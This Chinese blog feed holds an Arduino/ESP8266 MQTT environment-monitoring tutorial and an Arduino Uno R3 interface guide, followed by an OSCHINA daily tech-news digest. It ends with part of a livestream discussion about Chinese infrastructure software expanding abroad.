无论是农业、气象监测,还是智能家居,环境数据的采集和分析都至关重要。在这篇文章中,我将带你一步步实现一个基于 ArduinoESP8266 的环境监测系统。从硬件连接到代码编写,再到通过 MQTT 协议 将数据上传到云端,整个过程清晰易懂,适合初学者和爱好者。让我们一起动手,打造一个属于自己的物联网环境监测系统吧!


1. 概述

目标

实现一个能够实时采集环境数据(如温度、湿度、光照、土壤湿度等)并通过 WiFi 上传到云端的系统。

核心组件

  • Arduino R3:负责传感器数据采集。
  • ESP8266:负责 WiFi 连接和数据上传。
  • MQTT 协议:用于将数据发布到云端(EMQX 公共 Broker)。

适用场景

  • 智能农业:监测土壤湿度、光照强度,实现精准灌溉。
  • 气象监测:采集温度、湿度、气压等数据。
  • 智能家居:监测室内环境参数,联动其他智能设备。

2. 准备阶段

好的!以下是优化后的 软件部分,直接跟随在你的内容后面:


软件

1. 安装 Arduino IDE 软件

  • 下载并安装 Arduino IDE:
    • 访问 Arduino 官方网站
    • 根据你的操作系统(Windows、macOS、Linux)下载最新版本的 Arduino IDE。
    • 运行安装程序,按照提示完成安装。

1737114213244.png


2. 配置 Arduino IDE

  1. 打开 Arduino IDE,点击 文件 -> 首选项
  2. 附加开发板管理器网址 中添加以下 URL:
    https://arduino.esp8266.com/stable/package_esp8266com_index.json
    
  3. 点击 确定 保存设置。

3. 安装库

  1. DHT 传感器库

    • 点击 工具 -> 管理库
    • 在搜索框中输入 DHT
    • 找到 DHT sensor library by Adafruit,点击 安装
  2. Adafruit BMP085 Unified 库

    • 点击 工具 -> 管理库
    • 在搜索框中输入 Adafruit BMP085 Unified
    • 找到 Adafruit BMP085 Unified by Adafruit,点击 安装
      • 注意Adafruit Unified Sensor 库会自动作为依赖库安装。
  3. PubSubClient 库

    • 点击 工具 -> 管理库
    • 在搜索框中输入 PubSubClient
    • 找到 PubSubClient by Nick O'Leary,点击 安装

4. 验证库是否安装成功

  1. 点击 文件 -> 示例
  2. 查看是否有以下库的示例代码:
    • DHT sensor library
    • Adafruit BMP085 Unified
    • PubSubClient
    • 如果有,说明库已正确安装。

硬件

  • Arduino Uno
  • ESP8266 WiFi 模块
  • DHT11 温湿度传感器
  • BMP180 气压传感器
  • 光敏传感器
  • 土壤湿度传感器
  • 杜邦线若干
  • 面包板(可选)

硬件连接说明

以下是传感器与 Arduino 以及 ESP8266 的具体连接方式:

1. DHT11 温湿度传感器
DHT11 引脚Arduino 引脚
VCC5V
GNDGND
DATAD3
2. BMP180 气压传感器
BMP180 引脚Arduino 引脚
VCC3.3V
GNDGND
SCLA5 (SCL)
SDAA4 (SDA)
3. 光敏传感器
光敏传感器引脚Arduino 引脚
VCC5V
GNDGND
OUTA3
4. 土壤湿度传感器
土壤湿度传感器引脚Arduino 引脚
VCC5V
GNDGND
OUTA1
5. ESP8266 WiFi 模块
ESP8266 引脚Arduino 引脚
VCC3.3V
GNDGND
TXRX (D0)
RXTX (D1)
CH_PD3.3V

注意:ESP8266 的电压为 3.3V,切勿直接连接到 Arduino 的 5V 引脚,否则可能损坏模块。


3. 代码实现

Arduino 部分:传感器数据采集

Arduino 的任务很简单:读取传感器的数据,然后等着 ESP8266 来问它要数据。以下是具体实现:

1. 引入库与引脚定义

首先,我们需要引入一些库,这些库能帮我们轻松读取传感器的数据。然后定义一下传感器连接的引脚。

#include <DHT.h>
#include <Wire.h>
#include <Adafruit_Sensor.h>
#include <Adafruit_BMP085_U.h>

#define LIGHT_SENSOR_PIN A3  // 光敏传感器接在 A3 引脚
#define SOIL_SENSOR_PIN A1   // 土壤湿度传感器接在 A1 引脚
#define DHT_PIN 3            // DHT11 温湿度传感器接在 D3 引脚
#define DHT_TYPE DHT11       // 使用 DHT11 类型
  • DHT 库用来读取温湿度传感器数据。
  • Adafruit_BMP085_U 库用来读取气压传感器数据。
  • 引脚定义部分就是把传感器接到 Arduino 的哪个引脚上。

注意:DHT11 和 BMP180 的引脚连接要正确,尤其是 VCC 和 GND,接反了可能会烧坏传感器!

2. 初始化传感器

setup() 函数里,我们要初始化串口通信和传感器。

DHT dht(DHT_PIN, DHT_TYPE);
Adafruit_BMP085_Unified bmp(10085);

void setup() {
  Serial.begin(9600);  // 初始化串口通信,波特率 9600
  dht.begin();         // 初始化 DHT11 传感器
  Wire.begin();        // 初始化 I2C 通信
  if (!bmp.begin()) {  // 初始化 BMP180 传感器
    Serial.println("错误:BMP180 初始化失败!");
  }
}
  • Serial.begin(9600) 是初始化串口通信,用来和 ESP8266 聊天。
  • dht.begin()bmp.begin() 是初始化温湿度和气压传感器。

注意:如果串口通信没设置好,Arduino 和 ESP8266 就没办法正常“聊天”了。确保波特率一致(这里用的是 9600)。

3. 读取传感器数据

loop() 函数里,Arduino 会一直等着 ESP8266 发指令过来。ESP8266 会问:“嘿,温度是多少?” Arduino 就会回答:“25°C!”

void loop() {
  if (Serial.available() > 0) {  // 检查串口是否有数据
    String command = Serial.readStringUntil('\n');  // 读取 ESP8266 发来的指令
    command.trim();  // 去掉多余的空白字符
    command.toUpperCase();  // 把指令转换成大写

    if (command == "LIGHT") {  // 如果 ESP8266 问光强
      Serial.println(readLightSensor());  // Arduino 回答光强值
    } else if (command == "SOIL") {  // 如果 ESP8266 问土壤湿度
      Serial.println(readSoilSensor());  // Arduino 回答土壤湿度值
    } else if (command == "TEMPERATURE") {  // 如果 ESP8266 问温度
      float temperature = readTemperature();  // Arduino 读取温度
      if (!isnan(temperature)) Serial.println(temperature);  // 回答温度值
    }
  }
}
  • Serial.available() 检查串口有没有数据。
  • Serial.readStringUntil('\n') 读取 ESP8266 发来的指令。
  • readLightSensor()readSoilSensor()readTemperature() 是读取传感器数据的函数。

注意:如果 ESP8266 发来的指令格式不对(比如多了空格或少了个字母),Arduino 可能就“听不懂”了。所以指令要写对!

4. 传感器数据读取函数

这些函数就是 Arduino 用来读取传感器数据的“小工具”。

int readLightSensor() {
  return analogRead(LIGHT_SENSOR_PIN);  // 读取光敏传感器的值
}

int readSoilSensor() {
  return analogRead(SOIL_SENSOR_PIN);  // 读取土壤湿度传感器的值
}

float readTemperature() {
  float temperature = NAN;  // 初始化温度值
  for (int i = 0; i < 3; i++) {  // 尝试读取 3 次
    temperature = dht.readTemperature();  // 读取温度
    if (!isnan(temperature)) break;  // 如果读取成功,跳出循环
    delay(100);  // 等待 100ms 再试
  }
  return temperature;  // 返回温度值
}
  • analogRead() 用来读取模拟信号(比如光敏传感器和土壤湿度传感器)。
  • dht.readTemperature() 用来读取温度数据,还加了简单的错误处理。

注意:DHT11 有时候会读取失败,返回 NAN(不是数字)。所以这里加了重试机制,最多试 3 次。


ESP8266 部分:数据上传与 MQTT 通信

ESP8266 的任务是连接 WiFi,然后从 Arduino 那里拿到数据,再通过 MQTT 协议把数据上传到云端。以下是具体实现:

1. 引入库与配置

首先,引入 WiFi 和 MQTT 所需的库,然后配置 WiFi 和 MQTT 服务器的信息。

#include <ESP8266WiFi.h>
#include <PubSubClient.h>

const char* ssid = "user_id";  // WiFi 名称
const char* password = "user_password";  // WiFi 密码
const char* mqtt_server = "broker.emqx.io";  // MQTT 服务器地址
const int mqtt_port = 1883;  // MQTT 服务器端口

WiFiClient espClient;
PubSubClient mqttClient(espClient);
  • ESP8266WiFi 库用来连接 WiFi。
  • PubSubClient 库用来实现 MQTT 协议通信。

注意:WiFi 名称和密码要写对,不然 ESP8266 连不上网络。

2. 初始化与连接

setup() 函数里,初始化串口通信、连接 WiFi 和 MQTT 服务器。

void setup() {
  Serial.begin(9600);  // 初始化串口通信
  connectWiFi();  // 连接 WiFi
  mqttClient.setServer(mqtt_server, mqtt_port);  // 设置 MQTT 服务器
  connectMQTT();  // 连接 MQTT 服务器
}
  • connectWiFi()connectMQTT() 是自定义函数,分别用来连接 WiFi 和 MQTT 服务器。

注意:如果 MQTT 服务器地址或端口写错了,ESP8266 就没办法上传数据了。

3. 连接 WiFi

以下是连接 WiFi 的函数实现。

void connectWiFi() {
  WiFi.begin(ssid, password);  // 开始连接 WiFi
  while (WiFi.status() != WL_CONNECTED) {  // 检查是否连接成功
    delay(1000);  // 等待 1 秒
    Serial.println("正在连接 WiFi ...");  // 打印连接状态
  }
  Serial.println("成功连接 WiFi ...");  // 连接成功
}
  • WiFi.begin() 尝试连接指定的 WiFi 网络。
  • WiFi.status() 检查连接状态,直到连接成功。

注意:如果 WiFi 信号太弱,ESP8266 可能会连接失败。可以试试靠近路由器。

4. 连接 MQTT 服务器

以下是连接 MQTT 服务器的函数实现。

void connectMQTT() {
  while (!mqttClient.connected()) {  // 检查是否连接成功
    if (mqttClient.connect("Client_id", "user_id", "user_password")) {  // 尝试连接
      Serial.println("成功连接 MQTT Broker");  // 连接成功
    } else {
      delay(5000);  // 等待 5 秒再试
    }
  }
}
  • mqttClient.connect() 尝试连接 MQTT 服务器,支持用户名和密码验证。

注意:如果 MQTT 服务器需要用户名和密码,一定要写对,不然连接会失败。

5. 发布传感器数据

loop() 函数里,ESP8266 会定期从 Arduino 那里拿到数据,然后通过 MQTT 协议上传到云端。

void loop() {
  if (!mqttClient.connected()) connectMQTT();  // 检查 MQTT 连接
  mqttClient.loop();  // 保持 MQTT 连接

  static unsigned long lastPublishTime = 0;  // 记录上次上传时间
  if (millis() - lastPublishTime >= 5000) {  // 每 5 秒上传一次
    publishSensorData();  // 上传传感器数据
    lastPublishTime = millis();  // 更新上次上传时间
  }
}
  • publishSensorData() 是自定义函数,用来从 Arduino 获取数据并上传到 MQTT 主题。

注意:上传频率不要太快,否则可能会给服务器造成压力。这里设置的是每 5 秒上传一次。

6. 数据发布函数

以下是发布传感器数据的函数实现。

void publishSensorData() {
  const char* commands[] = {"LIGHT", "SOIL", "TEMPERATURE"};  // 要发送的指令
  const char* topics[] = {"home/sensor/light", "home/sensor/soil", "home/sensor/temperature"};  // MQTT 主题

  for (int i = 0; i < 3; i++) {
    sendCommand(commands[i]);  // 向 Arduino 发送指令
    String value = readSerialResponse();  // 读取 Arduino 返回的数据
    String json = "{\"value\":\"" + value + "\"}";  // 把数据打包成 JSON 格式
    mqttClient.publish(topics[i], json.c_str());  // 发布到 MQTT 主题
  }
}
  • sendCommand() 向 Arduino 发送指令,比如“LIGHT”就是问光强值。
  • readSerialResponse() 读取 Arduino 返回的数据。
  • mqttClient.publish() 把数据发布到对应的 MQTT 主题。

注意:MQTT 主题名称要写对,不然数据会发到错误的地方。


4. 系统架构与工作原理

系统架构图

[传感器] -> [Arduino] -> [串口通信] -> [ESP8266] -> [WiFi] -> [MQTT Broker] -> [云端]

工作原理

  1. Arduino 采集传感器数据。
  2. ESP8266 通过串口从 Arduino 获取数据。
  3. ESP8266 将数据通过 MQTT 协议上传到 EMQX 公共 Broker。
  4. 数据以 JSON 格式存储,可供其他设备或平台订阅和使用。

5. 实际效果展示

数据上传效果

通过 MQTT 客户端(如 MQTTX)订阅主题,查看实时数据。示例数据:

{
  "value": "25",
  "unit": "°C"
}

效果

  • 硬件连接: c0c41371afd896f235c8d1ed9475642.jpg

  • 用户接收: 185f6fa962bb494038ca408fbfdae96.png


6. 总结与扩展建议

总结

  • 这个项目,我们用 Arduino 和 ESP8266 实现了一个简单的环境监测系统
  • 通过MQTT协议,能够实时采集并上传环境数据。
  • 整个过程不仅有趣,还能让你学到很多关于硬件连接、代码编写和物联网协议的知识。
  • 无论你是初学者还是有一定经验的爱好者,这个项目都能为你提供宝贵的实践经验。

扩展建议

如果你对这个项目感兴趣,还可以尝试一些有趣的扩展:

  • 添加更多传感器:比如空气质量传感器或二氧化碳传感器,让系统能监测更多环境参数。
  • 搭建可视化平台:如果你喜欢折腾,可以尝试用 Grafana 或 Node-RED 搭建一个漂亮的数据展示界面,实时查看环境数据的变化。
  • 对接手机或智能家居:将数据接入手机 App 或智能家居平台,实现远程监控和自动化控制,比如温度过高时自动打开风扇。
  • 使用私有 MQTT Broker:如果你对数据安全性有更高要求,可以尝试搭建自己的 MQTT 服务器。

这个项目的潜力很大,完全可以根据你的兴趣和需求自由发挥。无论是用来学习、 DIY,还是解决实际问题,它都能带来很多乐趣和成就感!


如果你对物联网或环境监测感兴趣,不妨动手试试这个项目!
无论是学习硬件连接、代码编写,还是探索 MQTT 协议,这个项目都能为你提供宝贵的实践经验。如果你有任何问题或想法,欢迎在评论区留言,我们一起交流讨论!


链接

by Duang丶 at January 17, 2025 12:39 PM

Arduino Uno R3 详解:从接口到环境监测项目实战

你是否刚拿到一块 Arduino Uno R3,但对它的接口和功能还不太熟悉?
别担心,这篇文章将带你全面了解 Arduino Uno R3 的每一个细节,从接口功能到使用技巧,再到如何用它实现环境监测项目,全部用通俗易懂的语言讲清楚。无论你是初学者还是想深入了解 R3 的爱好者,这篇文章都能帮到你。


1. Arduino Uno R3 是什么?

Arduino Uno R3 是一款基于 ATmega328P 微控制器的开发板。它简单易用,功能强大,是电子开发和物联网项目的入门神器。你可以用它控制 LED、读取传感器数据,甚至搭建复杂的物联网系统。


2. Arduino Uno R3 的接口详解

1. 数字引脚(Digital Pins)

  • 数量:14 个(D0-D13)。
  • 功能:可以设置为输入或输出。
    • 输入模式:读取按钮、开关等信号。
    • 输出模式:控制 LED、继电器等设备。
  • 特殊功能
    • PWM 输出:带有 ~ 标记的引脚(D3、D5、D6、D9、D10、D11)支持 PWM(脉宽调制),可以用来调节 LED 亮度或控制电机速度。
    • 串口通信:D0(RX)和 D1(TX)用于串口通信,连接电脑或其他设备。

注意:D0 和 D1 通常用于串口通信,如果使用了串口功能,尽量不要接其他设备。

2. 模拟引脚(Analog Pins)

  • 数量:6 个(A0-A5)。
  • 功能:用于读取模拟信号(比如光敏电阻、土壤湿度传感器的值)。
  • 分辨率:10 位(0-1023),可以读取 0-5V 的电压。
  • 特殊功能
    • I2C 通信:A4(SDA)和 A5(SCL)支持 I2C 通信,适合连接 I2C 设备(如 OLED 显示屏、BMP180 气压传感器等)。

注意:A4 和 A5 既可以作为模拟输入引脚,也可以用于 I2C 通信,但不要同时使用这两种功能。

3. 电源引脚(Power Pins)

  • 5V:输出 5V 电压,适合给传感器或其他设备供电。
  • 3.3V:输出 3.3V 电压,适合低功耗设备。
  • GND:接地引脚,所有设备都需要共地。
  • VIN:外部电源输入(7-12V),可以通过这个引脚给 Arduino 供电。

注意:不要直接从 5V 或 3.3V 引脚取大电流,否则可能会损坏 Arduino。

(官方版珍惜珍惜,第三方可以选择与商家达成长期合作)

4. 其他接口

  • USB 接口:用于连接电脑,上传代码和供电。
  • 电源接口:支持外部电源(7-12V)供电。
  • ICSP 接口:用于烧录引导程序或连接其他 SPI 设备。
  • 复位按钮:按下后,Arduino 会重新启动。

3. Arduino Uno R3 的使用技巧

1. 如何上传代码?

  1. 用 USB 线将 Arduino 连接到电脑。
  2. 打开 Arduino IDE,选择开发板类型(Arduino Uno)和端口。
  3. 编写代码,点击“上传”按钮。

注意:上传代码时,确保没有其他程序占用串口(比如串口监视器)。

2. 如何读取传感器数据?

  • 数字传感器:连接到数字引脚,使用 digitalRead() 读取数据。
  • 模拟传感器:连接到模拟引脚,使用 analogRead() 读取数据。
  • I2C 传感器:连接到 A4(SDA)和 A5(SCL),使用 I2C 库(如 Wire.h)读取数据。

注意:模拟传感器的值范围是 0-1023,需要根据传感器特性进行转换。

3. 如何控制设备?

  • 数字输出:使用 digitalWrite() 控制引脚的高低电平。
  • PWM 输出:使用 analogWrite() 调节 PWM 信号(0-255)。

注意:PWM 只能用于带有 ~ 标记的引脚。


4. Arduino Uno R3 在环境监测项目中的应用

在环境监测项目中,Arduino Uno R3 负责读取传感器数据。以下是具体实现:

1. 硬件连接

  • DHT11 温湿度传感器
    • VCC → 5V
    • GND → GND
    • DATA → D2
  • 光敏传感器
    • VCC → 5V
    • GND → GND
    • OUT → A0
  • 土壤湿度传感器
    • VCC → 5V
    • GND → GND
    • OUT → A1
  • BMP180 气压传感器(I2C 设备)
    • VCC → 3.3V
    • GND → GND
    • SDA → A4
    • SCL → A5

2. 代码实现

Arduino 负责读取传感器数据,并通过串口将数据发送给其他设备(如电脑或 ESP8266)。

#include <DHT.h>
#include <Wire.h>
#include <Adafruit_BMP085.h>

#define DHT_PIN 2
#define DHT_TYPE DHT11

DHT dht(DHT_PIN, DHT_TYPE);
Adafruit_BMP085 bmp;

void setup() {
  Serial.begin(9600);
  dht.begin();
  if (!bmp.begin()) {
    Serial.println("BMP180 初始化失败!");
  }
}

void loop() {
  float temperature = dht.readTemperature();
  int lightValue = analogRead(A0);
  int soilMoisture = analogRead(A1);
  float pressure = bmp.readPressure() / 100.0F;  // 读取气压,单位 hPa

  Serial.print("Temperature: ");
  Serial.println(temperature);
  Serial.print("Light: ");
  Serial.println(lightValue);
  Serial.print("Soil Moisture: ");
  Serial.println(soilMoisture);
  Serial.print("Pressure: ");
  Serial.println(pressure);

  delay(5000);  // 每 5 秒读取一次数据
}
  • dht.readTemperature() 读取温度数据。
  • analogRead() 读取光敏传感器和土壤湿度传感器的值。
  • bmp.readPressure() 读取气压数据。
  • Serial.print() 将数据发送到串口,供其他设备读取。

5. Arduino Uno R3 的注意事项

1. 电源问题

  • 不要超过电压范围:数字引脚输入电压不要超过 5V,模拟引脚不要超过 5V。
  • 不要短路:电源引脚(5V、3.3V)不要直接短路,否则会损坏 Arduino。

2. 引脚使用

  • 避免冲突:D0 和 D1 用于串口通信,尽量不要接其他设备。
  • PWM 引脚:只有带 ~ 的引脚支持 PWM 输出。
  • I2C 引脚:A4 和 A5 用于 I2C 通信时,不要同时用作模拟输入。

3. 代码调试

  • 使用串口监视器:通过 Serial.print() 输出调试信息,方便排查问题。
  • 避免死循环:在 loop() 函数中加延时(delay()),避免程序卡死。

6. 总结

Arduino Uno R3 是一款功能强大、易于上手的开发板,适合各种电子项目和物联网应用。通过这篇文章,你已经了解了它的接口功能、使用技巧,以及如何用它实现环境监测项目。接下来,不妨动手试试,用 Arduino Uno R3 实现你的创意项目吧!


如果你对 Arduino Uno R3 还有其他问题,欢迎在评论区留言,我们一起讨论!

by Duang丶 at January 17, 2025 12:02 PM

oschina news industry

开源日报 | 中国网民规模超11亿;支付宝回应重大Bug;年度数据库突然易主;苹果最强芯片来了;OpenAI宕机思考

欢迎阅读 OSCHINA 编辑部出品的开源日报,每天更新一期。

# 2025.1.17

今日要闻

中国网民规模达 11.08 亿人,互联网普及率升至 78.6%

中国互联网络信息中心(CNNIC)发布第 55 次《中国互联网络发展状况统计报告》(简称《报告》)。《报告》显示,截至 2024 年 12 月,中国网民规模达 11.08 亿人,互联网普及率升至 78.6%。

报告显示,2024 年是我国全功能接入国际互联网 30 周年。30 年间,我国互联网实现了从无到有、从小到大、从大到强的跨越式发展,建成了全球规模最大、技术领先的互联网基础设施,创造了快速发展、成效显著的数字经济,形成了兼容并包、极富活力的网民群体。

支付宝回应重大 Bug:不会向用户追款

1 月 16 日,有网友在社交平台称,在当日 14:40 至 14:45 时间段内通过支付宝转账、信用卡支付、缴费等操作时,订单支付页面均被提示「政府补贴」,可减免 20%。

此后有业内人士指出,该「乌龙」优惠疑似支付宝在测试「国补」功能时,误操作将测试环境部署到正常环境中,导致用户线上支付可直接享受减免

随后支付宝于 1 月 17 日凌晨发布公告称,确认了该「乌龙」优惠为支付宝自身失误,并表示针对针对已经发出的营销优惠金,支付宝不会向用户追款。

支付宝也给出了失误细节,是其人员在支付宝某个常规营销活动后台配错了营销模板,把优惠额度和优惠金类型都写错了

同时支付宝提醒,其官方没有发送任何资金追回短信,若收到相关信息,请勿点击以免上当受骗。

面壁智能发布端侧模型 MiniCPM-o 2.6

1 月 16 日,面壁智能正式发布 MiniCPM-o 2.6 模型,成为全球首个达到 GPT-4o 水平的端侧 AI。

据官方介绍,MiniCPM-o 2.6 拥有端到端全模态流式架构,基于 MiniCPM 3.0 的 4B 模型构建;支持低延迟模态并发技术,创新采用时分复用技术,并通过智能语义判断用户输入结束时机,有效降低系统响应延迟;还配备端到端全模态流式学习,令 MiniCPM-o 2.6 能够理解说话人的意图。

据悉,MiniCPM-o 2.6 能够感知用户提问之前的画面和声音,真听真看真感受,也更贴近人眼的自然视觉交互。同时 MiniCPM-o 2.6 不仅能听懂人话,还能分辨除人声之外的背景音,比如撕纸、倒水、金属碰撞等声音。

腾讯 AI 助手“元宝”团队重组,调整至 CSIG、腾讯会议负责人接手

据智能涌现报道,腾讯 AI 助手元宝完成了一次重要的组织调整,产品团队整体迁移至腾讯云与智慧产业事业群(CSIG)。

组织调整后,元宝团队将会向腾讯会议的负责人吴祖榕汇报。据悉,吴祖榕将专注于元宝的产品能力建设和用户体验优化。而腾讯混元大模型研发团队则会继续专注于技术支持,提升模型能力和性能。

腾讯集团的高层领导汤道生在员工沟通会上强调,将加大对大模型等 AI 战略方向的投入,未来会继续推动技术创新和应用探索。

字节跳动豆包全新上线 AI 编程功能:支持一键上传多个本地代码文件、实时引入 GitHub 开源仓库

字节跳动官方消息,豆包电脑版和网页版 doubao.com 全新上线 AI 编程功能。

据悉,豆包 AI 编程功能支持一键上传多个本地代码文件、实时引入 GitHub 开源仓库,快速获取项目的完整上下文,不需再逐段复制代码。该功能配备全新的代码编辑器,支持沉浸式阅读;代码片段需要解释或调整,可精准圈选;查看代码仓库时,可方便地切换目录。


今日观察

社交观察

“TikTok难民”涌入小红书怎么看 | 人民锐见

从“TikTok难民”流连我国社交软件,到‌“China Travel”成为一股世界性潮流;从李子柒携视频回归引海外粉丝泪目,到国产游戏“悟空”让更多人了解中国文化……今天的中国,何以“自带流量”,形成“万有引力”?毫无疑问,这得益于中国厚重的历史文化积淀、日新又新的现代化面貌,也得益于国家的开放、民众的友善、社会的包容。满园春色关不住,有美国网友疾呼:“是时候开眼看中国了!”

在这个意义上,与其说是“TikTok难民”,不如说是“地球村村民”;与其说是“流浪”,不如说是找到了“新家”。

- 微信 人民日报评论

如何对待 AI Coding?

大模型时代,也是技术大变革的时代, 相信AI Coding会不断进化,战略上要激进,战术上要谨慎;一起走向光明的未来。
 

总之,我们要保持对新技术的信仰,AI Coding还会不断进化,AI Coding下新的软件开发模式势不可挡。作为工程师的我们,还是要积极拥抱AI Coding和新的开发方式,多去尝试和探索,找到更好和大模型协作的方式;更早的掌握和适应新的开发方式,你将变得更强。

同时,也要了解现阶段大模型的能力局限和边界,在实际工作应用中,做好相应的检查和防护,特别是在大型业务项目应用中避免失控。毕竟,现阶段承担责任的还是人类工程师。在经过验证的合适场景,积极利用AI Coding提效。

- 微博  庆丰

什么是 Pythonic Function Call

每天一个AI知识点来啦!今天是 Pythonic Function Call ~

简单来讲,与其让AI给出调用函数的名称和参数的json function call模式,不如直接让AI写代码,将目标function包装进python 代码中进行调用。

DPAB-α测试结果中这种方法几乎提升了一倍

教程合集地址:github.com/karminski/one-small-step

- 微博    karminski-牙医

突发! DB-Engines 2024 年度数据库易主

全球数据库排名权威网站 https://db-engines.com/ 两天前刚发布了 2024 年度数据库,一开始的前三名分别是 PostgreSQL, Snowflake, Microsoft Azure SQL Database and SQL Server。不过有细心的网友去看了下计算方式,发现好像有问题。
 

后来官方也意识到错了,做了纠正,最新的三甲是 Snowflake, PostgreSQL, Oracle。
 
话说这是 DB-Engines 在 24 年被 Redgate 收购后的第一次年度排名发布,结果就闹了这么一个大乌龙,真是哭笑不得。
 

- 微信 Bytebase

飞致云在开源商业化上的探索与实践

飞致云作为一家成立于2014年,在2017年拥抱开源模式的中国软件公司,已经在开源商业化的道路上跋涉了七年。经过长期的探索和实践,针对工具类开源软件,飞致云逐渐走出了一条有特色的开源商业化道路,取得了阶段性的成果。

飞致云在开源商业化上的阶段性成果可以通过四个数据加以验证。这四个数据指标包括开源活跃度、开源影响力、付费企业数量和现金回款。这四个数据指标不仅证明了飞致云商业模式的可行性、有效性以及领先性,也证明了开源商业化在中国市场是完全可以实现并发展的。

■ 开源活跃度:根据2024年度Open Leaderboard排行榜显示,飞致云开源活跃度位居中国企业的第10位,全球排名第47位。同样是根据Open Leaderboard的统计,飞致云开源项目的GitHub Star总数超过13万个,Fork数超过3万次,合并PR总数超过5万个,Issue总数超过3万个,贡献者总数超过12000人。

■ 开源影响力:根据2024年度Open Leaderboard排行榜开源影响力(即OpenRank)排名,在开源影响力方面,飞致云位于中国企业的第9位,全球排名第42位。

■ 付费企业数量:截至2024年底,飞致云已服务了超过3000家企业客户,客户广泛覆盖金融、制造、能源、交通、医疗、通信、传媒、房地产、互联网、教育等行业。

■ 现金回款:2024年飞致云开源商业化产品的现金回款笔数为2511笔,全年累计回款金额超过1亿元人民币。

- 微信 飞致云

媒体观察

“偏执狂”黄仁勋,百万富翁制造机

黄仁勋已经 62 岁了,他没有继任者,有的是 60 个直接向他汇报的下属,他每天要做的是听取汇报、下达指令,并让他们严格执行,就像亚瑟王和他的圆桌骑士。即使是现在,他也丝毫没有离开的打算:一切才刚刚开始,他的热情、精力和动力,正值人生高点。

在英伟达,没有人可以取代黄仁勋。

- 新周刊

GPT-5、 Opus 3.5为何迟迟不发?新猜想:已诞生,被蒸馏成小模型来卖

从现在开始,基础模型可能在后台运行,让其他模型能够完成它们自己无法完成的壮举——就像一个老隐士从秘密山洞中传递智慧。

- 机器之心Pro

AI作图,拯救“职场牛马”

随着AI作图工具越来越多,并不断迭代,使用它们已经成了“职场牛马”的必备技能,用得好,不仅能提效,还能直接帮助自己“摸鱼”。

- 定焦One

苹果最强芯片来了,Mac Pro专属,一切为了AI PC?

WccfTech在一篇博文中表示,苹果正在为Mac Pro打造代号“Hidra”的最强计算平台,具体的规格尚未透露,根据马克·古尔曼的消息,代号“Hidra”的CPU和GPU核心数量都要比M4 Ultra更多,性能也要更胜一筹。

- 雷科技

仅用8小时,用Vim编辑器手搓BadApple火了

老二次元/科技宅倒背如流的Bad Apple动画,网友Nolen Royalty用Vim文本编辑器复现出来了!而且仅耗时8小时、用了6500个正则表达式!

- 量子位

卖身、豪赌Killer App的AI 厂商:被“吊”麻了,明年咋活?

自 ChatGPT 亮相起,大模型领域就不断涌现惊艳时刻,整个行业在过去两年处于“百模大战”的阶段,大众围绕 AI 的讨论和尝试也爆发式增长。然而,伴随着大模型的落地和应用,“祛魅”开始成为大模型用户市场的高频词,资本方面也对其渐渐回归理性。

- AI前线


今日推荐

开源项目

mirrorSecurity/OpenSCA-cli

https://gitee.com/XmirrorSecurity/OpenSCA-cli/

OpenSCA是一款开源的软件成分分析工具,用于扫描项目的开源组件依赖、漏洞及许可证信息,为企业及个人用户提供低成本、高精度、稳定易用的开源软件供应链安全解决方案。

每日一博

OpenAI 宕机思考丨 Kubernetes 复杂度带来的服务发现系统的风险和应对措施

笔者认为,大型业务的服务发现系统应该具备高可靠性,高可伸缩性,高性能及高可维护性等特点,采用独立服务发现系统是一种相对较好的方案。本文以社区主流服务发现系统 Nacos 为例,从可靠性、可伸缩性、高性能、可维护性等 4 个方面探讨如何提升 Kubernetes 中微服务应用的稳定性。


开源之声

用户观点

马斯克招聘程序员:我不care你的学历,直接甩代码给我

  • 观点 1:print("爸!")
  • 观点 2:呃,我寻思一龙说的不是“我支持rust,他的扩展性不错,c语言对于提升硬件性能作用无可替代,除此之外我们主要用的还是cpp和pt”,你是怎么理解出“尽量不要用c而用rust”了
  • 观点 3:林纳斯名言:Talk is cheap, show me the code
  • 观点 4:是不是技术出身的老板都会比较有意思?有没有老哥说说
    • 观点 5:技术出身的老板,大多数不需要面子工程,务实一点。知道自己想要什么人。自己给的起什么工资就找什么样的人。看中的是能力,我曾经给过技术出身的老板打工。也是不看学历,看能力
  • 观点 6:这才叫招聘程序员
    • 观点 7:信了就有鬼了,可以查下,他们公司程序员毕业学校的分布占比。
  • 观点 8:哈哈,这种老板不好忽悠啊,就比如雷军造车,别人忽悠几百亿上千亿都没造出来,雷军照妖镜,100多亿就好了。隔行如隔山,不懂行,有多少钱都会被骗干净
  • 观点 9:真让人看你代码你又不乐意.webp
  • 观点 10:不会英语的十年java工程师可以吗?
  • 观点 11:这个牛批,不知道精通易语言可以报名不?
  • 观点 12:从讨厌c喜欢rust上我非常支持他
  • 观点 13:他需要的人形ai程序员

Arm 计划涨价高达 300%,并考虑自行研发芯片

  • 观点 1:看客户赚大钱眼红了。
  • 观点 2:ARM最好悠着点,RISC-V 在你身后呢
  • 观点 3:天下苦arm久已 大力发展risk-v

---END---

 

by 来源: OSCHINA at January 17, 2025 11:39 AM

抖音出海有 TikTok,基础软件出海也要搞个新品牌吗?

12 月 26 日,开源中国邀请观测云 CEO 蒋烁淼亚马逊云科技 SA Manager 梁风飚、OceanBase CEO 杨冰、AutoMQ 联合创始人兼 CEO 王小瑞、Bytebase 联合创始⼈兼 CEO 陈天舟等企业家做客【开源漫谈】直播间,探讨我国基础软件如何出海

期间,大家聊到了基础软件出海,要不要建立一个新品牌的话题。

扫码查看直播回放:

以下内容根据直播整理:

蒋烁淼: 大家知道中美关系比较微妙那么中国软件出海,会不会受到某些因素干扰,导致我们需要做一个新的品牌国内品牌进行隔离呢?

因为我们确实也遇到了这方面的问题一部分是我们自己的原因,“GUANCE”——这个品牌名字很本土化,但在海外客户很难对我们品牌有清晰的认知所以,我们最近也会上线一个完全全球化品牌

我们遇到不少客户,其中甚至有些中国出海客户会提到,需要有一个完全海外的品牌跟他合作,而不是原来的中国化品牌大家也可以看到,包括 TikTok 跟抖音,飞书和 Lark 其实也做了品牌的区隔

我想听听各位的意见,杨冰你怎么看?

杨冰我们内部正在讨论这个话题,但没有定论。我在想品牌区分的背后要解决的问题是什么,这才是真正的核心。

首先 OceanBase 不存在太中国化的问题。所以,如果客户希望我们去做品牌切割,那就说明他在意我们是一个中国公司身份。这个问题可能要解决的不仅仅是品牌的问题,而是整个公司治理架构、运作等问题。

其次,OceanBase 是开源的,可以该公司或产品名字,但是不太可能搞两个不一样的代码库。不论用什么产品名称,人家最终都会知道你是OceanBase。

